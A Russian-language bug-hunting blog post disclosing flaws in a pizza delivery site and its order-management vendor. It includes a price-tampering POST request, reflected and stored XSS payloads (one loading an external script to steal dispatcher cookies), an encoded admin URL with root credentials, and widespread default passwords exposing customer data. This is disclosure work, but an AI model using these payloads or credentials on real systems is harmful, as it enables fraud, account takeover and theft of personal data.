Я часто заказываю пиццу в Одессе, больше всего люблю доставку pizza.od.ua, там не жалеют начинки и можно создать пиццу из своих ингредиентов, в других же службах доставки можно выбрать только ту пиццу, которую тебе предлагают, добавить еще ингредиентов или выбрать другие нельзя. Месяца два назад я подсел на суши в pizza.od.ua. С недавних пор суши временно не доставляют, тогда я нашёл другую доставку суши и пиццы.
Я решил проверить её на уязвимости.
Первая уязвимость — самая популярная на таких сайтах — это отсутствие проверки суммы платежа за товар(iDOR). Есть в POST запросе переменная price, есть finalPrice, переменная finalPrice поддается редактированию и можно будет сделать себе скидку на пиццу. Запрос
POST /oplata.html HTTP/1.1
Host: www.pizza.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://yahoo.com/{{2+2}}
Content-Length: 262
Cookie:
streetId=&streetName=qwqwqw&persons=1&change=500&name=qw&phone=%2B38(111)1111111&email=mm%40mm.mm&t-ord=&comment=&promocode=&agreement=on&check-ord=online&order%5B0%5D%5Bid%5D=1162&order%5B0%5D%5Bamount%5D=2&order%5B0%5D%5Btype%5D=rollyi&price=210&finalPrice=30
Изменяем finalPrice и мы заплатили за пиццу 30 гривен вместо 210. Заказ приняли, но администраторы заметили подмену и отказались присылать мне пиццу.
Вторая уязвимость. Когда отправился заказ, происходит редирект на страницу pizza.com/your_order.html?order=567808&ret=1, номер заказа выводится на страницу. Вместо номера вписываем js pizza.com/your_order.html?order=">&ret=1 и получаем Reflected XSS уязвимость.
Третья уязвимость это Logout csrf и clickjacking Disclosure information и захват административной панели заказов.
Оказалось, что когда мы заказали еду, то она еще не добавлена в админку на проверку. Чтобы добавить заказ, сайт создает на странице pizza.com/your_order.html?order=567808&ret=1 iframe с адресом
http://pizza.com/your_order.html?order=567808&curl1=aHR0cDovL29ubGluZS5tb2JpZGVsLnJ1L21ha2VPcmRlci5waHA/dXNlcj1yb290JnBhc3N3b3JkPXBhc3dvcmQmd2lkPTQwNTAmZmFtaWx5PSUyMiUzRSUzQ2ltZytzcmMlM0R4K29uZXJyb3IlM0Rwcm9tcHQlMjgxJTI5JTNFK3F3JTdCJTdCMisyJTdEJTdEcXcmc3RyZWV0PTElMkMxJTIyJTNFJTNDaW1nK3NyYyUzRHgrb25lcnJvciUzRHByb21wdCUyODElMjklM0UrcXclN0IlN0IyKzIlN0QlN0RxdyZob21lPSZyb29tPSZlbnRyYW5jZT0mZmxvb3I9JnBob25lPTM4MDYzNjgxOTQ2NCZjb21tZW50PSVEMCU5RSVEMCVCRiVEMCVCQiVEMCVCMCVEMSU4NyVEMCVCNSVEMCVCRCslRDAlQkUlRDAlQkQlRDAlQkIlRDAlQjAlRDAlQjklRDAlQkQlMjErJTNDYnIlM0UlRDAlOUQlRDAlQjArJUQwJUIyJUQxJTgwJUQwJUI1JUQwJUJDJUQxJThGJTNBJTIyJTNFJTNDaW1nK3NyYyUzRHgrb25lcnJvciUzRHByb21wdCUyODElMjklM0UrcXclN0IlN0IyKzIlN0QlN0RxdyslRDAlOUYlRDElODAlRDAlQkUlRDAlQkMlRDAlQkUtJUQwJUJBJUQwJUJFJUQwJUI0KyUyMiUzRSUzQ2ltZytzcmMlM0R4K29uZXJyb3IlM0Rwcm9tcHQlMjgxJTI5JTNFK3F3JTdCJTdCMisyJTdEJTdEcXclRDAlOUElRDAlQkUlRDAlQkIlRDAlQjglRDElODclRDAlQjUlRDElODElRDElODIlRDAlQjIlRDAlQkUrJUQwJUJGJUQwJUI1JUQxJTgwJUQxJTgxJUQwJUJFJUQwJUJEKy0rMSslRDAlOUYlRDAlQkUlRDAlQjQlRDAlQjMlRDAlQkUlRDElODIlRDAlQkUlRDAlQjIlRDAlQjglRDElODIlRDElOEMrJUQxJTgxJUQwJUI0JUQwJUIwJUQxJTg3JUQxJTgzKyVEMSU4MSsrJUQwJTlBJUQwJUJFJUQwJUJDJUQwJUJDJUQwJUI1JUQwJUJEJUQxJTgyJUQwJUIwJUQxJTgwJUQwJUI4JUQwJUI5KyVEMCVCRiVEMCVCRSVEMCVCQiVEMSU4QyVEMCVCNyVEMCVCRSVEMCVCMiVEMCVCMCVEMSU4MiVEMCVCNSVEMCVCQiVEMSU4RiUyMiUzRSUzQ2ltZytzcmMlM0R4K29uZXJyb3IlM0Rwcm9tcHQlMjgxJTI5JTNFK3F3JTdCJTdCMisyJTdEJTdEcXcmYXJ0aWNsZXMlNUIwJTVEPTA1ODkmYXJ0aWNsZXMlNUIxJTVEPTEyMDkmbm9uQ2FzaD0xJnF1YW50aXRpZXMlNUIwJTVEPTQmcXVhbnRpdGllcyU1QjElNUQ9MQ==
.
curl1 — это адрес сайта, который загрузится во фрейме, выглядит, как base64, декодируем его, получается раскодируем, получается это online.mobidel.ru/makeOrder.php?user=root&password=password&wid=5040&family=даннные_нашего_заказа, wid -ид площадки, пытаемся войти в админку online.mobidel.ru и у нас это получилось. Смотрим на наш заказ, его можно редактировать, отправить в обработку от имени диспетчера и получить бесплатную пиццу (делать я этого конечно не буду).
Ещё можем смотреть данные всех клиентов и текущие заказы
Сообщаем в службу доставки пиццы об этой уязвимости, получаем 10 любых бесплатных пицц или суши.
Хронология:
29 января. Сообщил об уязвимости.
30 января. Присвоена награда 20 бесплатных пицц или суши со скидкой 50 % (10 бесплатных пицц).
19 февраля. Уязвимость исправлена.
Теперь перейдем к mobidel.ru. Заказ создавался в get запросе с логином и паролем в открытом виде pizza.com/your_order.html?order=567808&curl1=хэш. Есть вероятность, что такая же уязвимость есть и в других клиентов. Смотрим страницу с клиентами, оттуда собираем url-ы их клиентов. Проверили, оказалось, что это был единственный случай, где логин и пароль идут в открытом виде.
Идём дальше.
1) Обнаруживаем Stored XSS.
Если отправить через заказ скрипт
">
</script>"><script src=https://securityz.net/any_script.js?></script>
, то мы получим cookies диспетчера и взломаем админку заказов любого сайта, где выполнится данный скрипт. Уязвимые поля: Дом, время, промокод, комментарий.
2) Находим уязвимость Bruteforce & Account Takeover.
Проходим регистрацию, нам приходит сообщение об активации тестового периода в 30 дней с нашими данными для входа
ID предприятия:5687
Имя пользователя:disp5687
Пароль:123456
Я вошел в аккаунт, и сразу не смог найти, где изменить свой пароль. Наверное, и остальные пользователи тоже. Так и есть — почти каждый ид имеет пароль 123456. Около 2,5 тысяч пользователей имеют дефолтный пароль(те, кто активировал 30 дней бесплатно и некоторые аккаунты тех, кто на постоянной основе). Раскрывается множество email адресов, номеров телефонов и ФИО.
Если для кабинета диспетчера и был условный пароль 123456, то насчет кабинета курьера не стали заморачиватся:
ID предприятия:5687
Имя пользователя:5687
Пароль:5687
У этой компании за их услуги максимальная цена 2500 за мес, минимальная 500, у них всего 5600 клиентов, уверен, что хоть 2000 из них заказали услуги, 2000 умножаем на
1000, получается 2 000 000 рублей в месяц. Зарабатывают они неплохо(возможно, я ошибаюсь, и конверсия из 5600 может быть меньшей, но все равно неплохо), а вот о безопасности не заботятся.
29 января — присылаем 2 сообщения о нахождении уязвимости, 28 февраля — ещё одно письмо, 1 марта — ещё три письма, компания до сих пор игнорирует мои сообщения. 1 марта я связался с руководителем службы доставки пиццы, он сбросил ссылку на vk программиста, что работает в мобидел. Я отписал ему об уязвимости, он сказал, напиши на тот же email адрес, на этот раз тебя не проигнорируют.
Ответ компании:
Здравствуйте!
мы бы не назвали это уязвимостью, а ваши действия вполне логичны, пароль
123456 стандартный для всех, те кто пользуется системой на постоянной основе
его меняют.
Мой ответ:
те кто пользуется системой на постоянной основе
его меняют. — а те, кто не пользуется, вам наплевать на то, что их личные данные украдут?
Сообщение опять игнорируют, еще ответ:
Не нужно игнорировать эту уязвимость, игнорирование — не решение проблемы.
+ присылаем репорт о xss уязвимости с захватом любой службы доставки.
Даём компании 20 дней для того, чтобы она устранила свои уязвимости или хотя бы ответила на мои сообщения. Этого не происходит, выкладываю в общий доступ.
Как бонус вот такая фича пентестерам: Когда необходимо протестировать уязвимость на сайте на двух аккаунтах, и Ваша почта находится в Яндексе, то на одну почту можно зарегистрировать два аккаунта (mail@yandex.ru; mail@ya.ru).
Вывод с этой статьи: Никогда не нужно ставить дефолтные пароли на аккаунты, нужно генерировать только сложные пароли, с верхним, нижним регистром, цифрами и символами.
Мемы по этой теме
Возможно вам будет интересно увидеть больше таких мемов, выкладываю их почти каждый день в группе vk(ссылку внизу).
Подписывайтесь на twitter и telegram, чтобы быть в курсе последний статей.
Предыдущая статья: [Багхантинг] Blind XSS уязвимость на сайтах службы поддержки omnidesk.
Автор: w9w
Уу, классная статья